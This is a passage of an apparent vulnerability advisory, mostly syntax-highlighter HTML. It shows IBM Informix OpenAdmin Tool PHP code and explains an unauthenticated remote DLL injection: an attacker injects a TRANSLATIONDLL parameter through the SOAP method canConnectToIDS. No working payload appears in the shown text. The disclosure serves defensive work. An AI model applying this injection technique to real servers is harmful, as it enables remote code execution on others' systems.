class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;database={$dbname}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-22\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;protocol={$protocol}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-23\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;server={$servername}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-24\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-25\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PHP_OS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;WIN&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-26\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-27\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strtoupper<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">PHP_OS<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;DAR&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;dylib&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;so&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-28\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;TRANSLATIONDLL={$informixdir}\/lib\/esql\/igo4a304.&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-29\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;Driver={$informixdir}\/lib\/cli\/libifdmr.&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">libsuffix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-30\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-31\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-32\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">is_null<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">envvars<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">envvars<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-33\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-34\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-c\">\/\/ add envvars to connection string<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-35\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;$envvars&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-36\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-37\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-38\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-39\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-40\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-c\">\/\/ CLIENT_LOCALE should always be UTF-8 version of databse locale<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-41\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">client_locale<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">strrpos<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">locale<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;.&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;.UTF8&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-42\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">dsn<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;;CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-43\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-44\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-45\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dsn<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979853b227162256-46\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979853b227162256-47\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0081 seconds] -->  <\/p>\n<p>At [***] the <em>getDSN()<\/em> function is called<br \/> At [****] and following various parameters are concatenated into a connection string without prior sanitization and set to <em>$dsn<\/em><br \/> At [*****] the resulting connection string it&#8217;s passed to <em>PDO::__construct()<\/em>, resulting in the dll to be loaded instantly.<\/p>\n<p><strong>Remote DLL Injection that leads to remote code execution (2)<\/strong><br \/> IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution. <\/p>\n<p>By submitting a SOAP request to <em>oliteService.php<\/em>, specifying ex. the &#8216;<em>canConnectToIDS<\/em>&#8216; method, it is possible to inject arbitrary parameters into a<br \/> database connection string for the underlying Informix database.<\/p>\n<p>It is possible to inject ex. the &#8216;<em>TRANSLATIONDLL<\/em>&#8216; parameter and, if this parameter points to a dll into an existing remote network<br \/> share, the dll will be injected into the remote Apache process. If malicious code is contained into the dll entry point, this will<br \/> be executed instantly.<\/p>\n<p>Vulnerable code is located inside the <em>getDBConnection()<\/em> function of the underlying <em>oliteServer.php<\/em> PHP class, where connection parameters are concatenated without prior sanitization.<\/p>\n<p>Vulnerable code &#8211; <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminservicesoliteoliteService.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798540348562071\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  &lt;?php  [..]    $ini = ini_set(&#8220;soap.wsdl_cache_enabled&#8221;,&#8221;0&#8243;);    require_once(&#8220;oliteServer.php&#8221;);    $server = new SoapServer(&#8220;olite.wsdl&#8221;);  $server-&gt;setClass(&#8220;oliteServer&#8221;);  if (isset($HTTP_RAW_POST_DATA))   \t{  \t$request = $HTTP_RAW_POST_DATA;  } else   \t{  \t$request = file_get_contents(&#8216;php:\/\/input&#8217;);  }    $server-&gt;handle($request);  ?&gt;  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798540348562071-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798540348562071-21\">21<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-2\"><span class=\"crayon-ta\">&lt;?php<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-3\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-4\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-5\"><span class=\"crayon-v\">$ini<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ini_set<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;soap.wsdl_cache_enabled&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;0&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-6\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-7\"><span class=\"crayon-k\">require_once<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;oliteServer.php&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-9\"><span class=\"crayon-v\">$server<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SoapServer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;olite.wsdl&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-10\"><span class=\"crayon-v\">$server<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setClass<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;oliteServer&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-11\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-k\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$HTTP_RAW_POST_DATA<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-12\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-13\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$HTTP_RAW_POST_DATA<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-14\"><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-15\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-16\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file_get_contents<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;php:\/\/input&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-17\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-18\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-19\"><span class=\"crayon-v\">$server<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">handle<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798540348562071-20\"><span class=\"crayon-ta\">?&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798540348562071-21\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0022 seconds] -->  <\/p>\n<p>The SOAP interface can be interrogated without prior authentication, Let&#8217;s take a look into &#8216;<em>canConnectToIDS<\/em>&#8216; method inside<br \/> <em>C:Program Files (x86)IBM Informix Software BundleOATApache_2.2.22htdocsopenadminservicesoliteoliteServer.php<\/em><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798543030262640\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;  \/**  \t * Verify that a connection to the server can be made.  \t * @return true if a new PDO can be created and server version is &gt;= 11, false otherwise  \t *\/  \tfunction canConnectToIDS($server, $host, $port, $protocol, $username, $password, $lang=&#8221;en_US&#8221;)  \t{  \t\t$this-&gt;setOATLiteLang($lang);  \t\t  \t\t$sql = &#8220;SELECT DBINFO(&#8216;version&#8217;,&#8217;major&#8217;) AS vers FROM sysha_type &#8220;;  \t\t$this-&gt;handlingPDOException = TRUE;  \t\ttry  \t\t{  \t\t\t$temp = $this-&gt;doDatabaseWork($sql, &#8220;sysmaster&#8221;, $server, $host, $port, $protocol, $username, $password); &lt;&#8212;&#8212;&#8212;&#8212;- [1]  \t\t\t\/* set handlingPDOException back to false in case this is used in a multi call *\/  \t\t\t$this-&gt;handlingPDOException = FALSE;  \t\t}  \t\tcatch(PDOException $e)  \t\t{  \t\t\treturn array(&#8220;canConnect&#8221; =&gt; false, &#8220;message&#8221; =&gt; $e-&gt;getMessage());  \t\t}  \t\tcatch(Exception $e1)  \t\t{  \t\t\t\/\/error_log(&#8220;Could not connect, returning false&#8221;);  \t\t\treturn array(&#8220;canConnect&#8221; =&gt; false, &#8220;message&#8221; =&gt; $e1-&gt;getMessage());  \t\t}  \t\t\/\/error_log(var_export($temp));  \t\t\/\/error_log(&#8220;temp: &#8221; . var_export($temp[0][&#8216;VERS&#8217;], true));  \t\tif($temp[0][&#8216;VERS&#8217;] &lt; 11)  \t\t{  \t\t\treturn array(&#8220;canConnect&#8221; =&gt; false, &#8220;message&#8221; =&gt; $this-&gt;idsadmin-&gt;lang(&#8216;ServerVersionLessThan11&#8217;));  \t\t}  \t\telse  \t\t{  \t\t\treturn array(&#8220;canConnect&#8221; =&gt; true, &#8220;message&#8221; =&gt; &#8220;&#8221;);  \t\t}  \t}  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798543030262640-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798543030262640-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" 